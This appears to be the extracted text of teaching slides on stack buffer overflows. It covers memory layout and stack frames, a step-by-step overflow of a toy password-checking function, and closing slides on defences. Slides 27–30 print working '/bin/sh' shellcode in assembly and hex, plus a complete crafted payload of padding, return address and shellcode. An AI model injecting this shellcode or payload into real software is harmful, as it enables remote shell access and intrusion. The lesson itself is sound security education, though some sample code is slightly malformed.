  • 5. Vulnerable Software WS FTP Server V5.03 Winamp 5.06 Real One Player DMS POP3 Server SLMain 5.5 POP3 Server Microsoft Lsass.exe Microsoft IIS Server API Microsoft Outlook
  • 6. Vulnerable Operating Systems Microsoft Windows FreeBSD Linux Sun OS 5.6 HP-UX SGI IRIX IBM AIX Novell Netware
  • 7. Major Attacks Code Red Virus Attacked a buffer overflow weakness in the Microsoft IIS Server API on July 19, 2001. Damage: $2.6 billion Sasser Worm Attacked the Microsoft LSAS buffer overflow vulnerability on April 30, 2004. Damage: $3.5 billion
  • 8. Operation of Stack  Onion Skin Model of Computer System  Process Memory Regions  Uses of Stack  Stack in Action
  • 9. Onion Skin Model of Computer System Shell Kernel Hardware User enters command Shell interprets command Shell invokes necessary kernel routines Kernel routines drive the hardware resources User
  • 10. Process Memory Regions Stack Executable Code Data Higher Memory Address Lower Memory Address
  • 11. Process Memory Regions Stack Executable Code Data Subroutines use the stack to save necessary Data, e.g. register values which are altered by the subroutine. Data area contains initialized and uninitialized data. Static variables are loaded into this region. Code area contains the instructions of the executable file. This area is normally marked read-only and any attempt to write to it results in a segmentation violation.
  • 12. Uses of Stack The microprocessor uses this area to save the return address during a subroutine call. Subroutines use this area to save necessary data, e.g. register values which are altered by the subroutine. Calling routines usually push into the stack the arguments they want to pass to the subroutine. Dynamic variables are created on the stack by decrementing the stack pointer by the size of the variable.
  • 13. Stack in Action void function(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) indicates what ESP is pointing to indicates what EBP is pointing to
  • 14. Stack in Action void function(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) 00000002 00000001 EIP EBP (main) indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main)
  • 15. Stack in Action void function(int a, int b) { char buffer1[4]; char buffer2[4]; } main() { function(1,2); } EBP (shell) 00000002 00000001 EIP EBP (main) buffer1[4] buffer2[4] indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main) Frame 2 (function)
  • 16. Stack in Action EBP (shell) 00000002 00000001 EIP EBP (main) buffer1[4] buffer2[4] indicates what ESP is pointing to indicates what EBP is pointing to Frame 1 (main) Frame 2 (function) PUSH EBP MOV EBP, ESP PUSHD 00000002H PUSHD 00000001H CALL FUNCTION MOV ESP, EBP POP EBP RET PUSH EBP MOV EBP, ESP SUB ESP, 00000008H MOV ESP, EBP POP EBP RET
  • 17. Stack in Action *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 18. Stack in Action *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte buffer[3] buffer[2] buffer[1] buffer[0] Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 19. Stack in Action *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte ‘0’ ‘!’ ‘i’ ‘H’ Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 20. Attacking the Stack and Protection  Stack Under Attack  FTP Server Under Attack  Plugging the Loophole  Fighting Stack Overflow
  • 21. Stack Under Attack *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte ‘0’ ‘!’ ‘i’ ‘H’ Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Hi!”; function(string); }
  • 22. Stack Under Attack *str – 4th Byte *str – 3rd Byte *str – 2nd Byte *str – 1st Byte EIP – 4th Byte EIP – 3rd Byte EIP – 2nd Byte EIP – 1st Byte EBP – 4th Byte EBP – 3rd Byte EBP – 2nd Byte EBP – 1st Byte buffer[3] buffer[2] buffer[1] buffer[0] Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Good Morning!”; function(string); }
  • 23. Stack Under Attack *str – 4th byte *str – 3rd byte 0 ! g n i n r o M d o o G Return Address #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]=“Good Morning!”; function(string); }
  • 24. Stack Under Attack *str - 4th byte *str - 3rd byte 0 00H ! 21H g 67H n 6EH i 69H n 6EH r 72H o 6FH M 4DH 20H d 64H o 6FH o 6FH G 47H Return Address Returns to offset 676E696EH #include <string.h> void function(char *str) { char buffer[4]; strcpy(buffer, str); } main() { char string[]="Good Morning!”; function(string); }
  • 25. verify(*password) { char buffer[8]; int f1, f2; strcpy(buffer[8],password); 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: buffer[7] 00FF1FF2H: buffer[6] 00FF1FF1H: buffer[5] 00FF1FF0H: buffer[4] 00FF1FEFH: buffer[3] 00FF1FEEH: buffer[2] 00FF1FEDH: buffer[1] 00FF1FECH: buffer[0] 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Return address
  • 26. verify(*password) { char buffer[8]; int f1, f2; strcpy(buffer[8],password); 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: ‘0’ 00FF1FF2H: ‘r’ 00FF1FF1H: ‘o’ 00FF1FF0H: ‘t’ 00FF1FEFH: ‘i’ 00FF1FEEH: ‘s’ 00FF1FEDH: ‘i’ 00FF1FECH: ‘v’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Return address
  • 27. Shell Code Assembly Codes Hex Codes JMP 1FH EB, 1F POP ESI 5E MOV 08H[ESI], ESI 89, 76, 08 XOR EAX, EAX 31, C0 MOV 07H[ESI], EAX 88, 46, 07 MOV 0CH[ESI], EAX 89, 46, 0C MOV AL, 0BH B0, 0B MOV EBX, ESI 89, F3 LEA ECX, 08H[ESI] 8D, 4E, 08 LEA EDX, 0CH[ESI] 8D, 56, 0C INT 80H CD, 80 XOR EBX, EBX 31, DB MOV EAX, EBX 89, D8 INC EAX 40 INT 80H CD, 80 CALL -24H E8, DC, FF, FF, FF .STRING “/bin/sh” 2F, 62, 69, 6E, 2F, 73, 68, 00
  • 28. verify(*password) { char buffer[8]; int f1, f2; strcpy(buffer[8],password); 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ 00FF1FEFH: ‘A’ 00FF1FEEH: ‘A’ 00FF1FEDH: ‘A’ 00FF1FECH: ‘A’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 FTP Server Under Attack Shell Code ( In Hex ) EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00 Return Address ( 00FF1FFCH )
  • 29. 00FF2009H: 46H 00FF2008H: 89H 00FF2007H: 07H 00FF2006H: 46H 00FF2005H: 88H 00FF2004H: C0H 00FF2003H: 31H 00FF2002H: 08H 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ FTP Server Under Attack Password to be entered (Codes in Hex) 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, FC, 1F, FF, 00, EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00 ShellCode
  • 30. 00FF2009H: 46H 00FF2008H: 89H 00FF2007H: 07H 00FF2006H: 46H 00FF2005H: 88H 00FF2004H: C0H 00FF2003H: 31H 00FF2002H: 08H 00FF2001H: 76H 00FF1FFFH: 89H 00FF1FFEH: 5EH 00FF1FFDH: 1FH 00FF1FFCH: EBH 00FF1FFBH: 00H 00FF1FFAH: FFH 00FF1FF9H: 1FH 00FF1FF8H: FCH 00FF1FF7H: ‘A’ 00FF1FF6H: ‘A’ 00FF1FF5H: ‘A’ 00FF1FF4H: ‘A’ 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ FTP Server Under Attack ShellCode Shell Prompt Password to be entered (Codes in Hex) 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, 41, FC, 1F, FF, 00, EB, 1F, 5E, 89, 76, 08, 31, C0, 88, 46, 07, 89, 46, 0C, B0, 0B, 89, F3, 8D, 4E, 08, 8D, 56, 0C, CD, 80, 31, DB, 89, D8, 40, CD, 80, E8, DC, FF, FF, FF, 2F, 62, 69, 6E, 2F, 73, 68, 00
  • 31. 00FF1FFFH: *password 00FF1FFEH: *password 00FF1FFDH: *password 00FF1FFCH: *password 00FF1FFBH: EIP 00FF1FFAH: EIP 00FF1FF9H: EIP 00FF1FF8H: EIP 00FF1FF7H: EBP 00FF1FF6H: EBP 00FF1FF5H: EBP 00FF1FF4H: EBP 00FF1FF3H: ‘A’ 00FF1FF2H: ‘A’ 00FF1FF1H: ‘A’ 00FF1FF0H: ‘A’ 00FF1FEFH: ‘A’ 00FF1FEEH: ‘A’ 00FF1FEDH: ‘A’ 00FF1FECH: ‘A’ 00FF1FEBH: f1 00FF1FEAH: f1 00FF1FE9H: f1 00FF1FE8H: f1 Plugging the Loophole verify(*password) { char buffer[8]; int f1, f2; strncpy(buffer[8],password,8);
  • 32. Fighting Stack Overflow C Programmers now refrain from using strcpy(), strcat() in their programs. They use strncpy(), strncat() instead which perform bound checking. Programmers now write their applications in languages like Java, Visual Basic which have better stack and memory management features. Sun Microsystems is trying to make their SPARC processor immune to stack overflow attack by introducing new features to protect the return address during a subroutine call.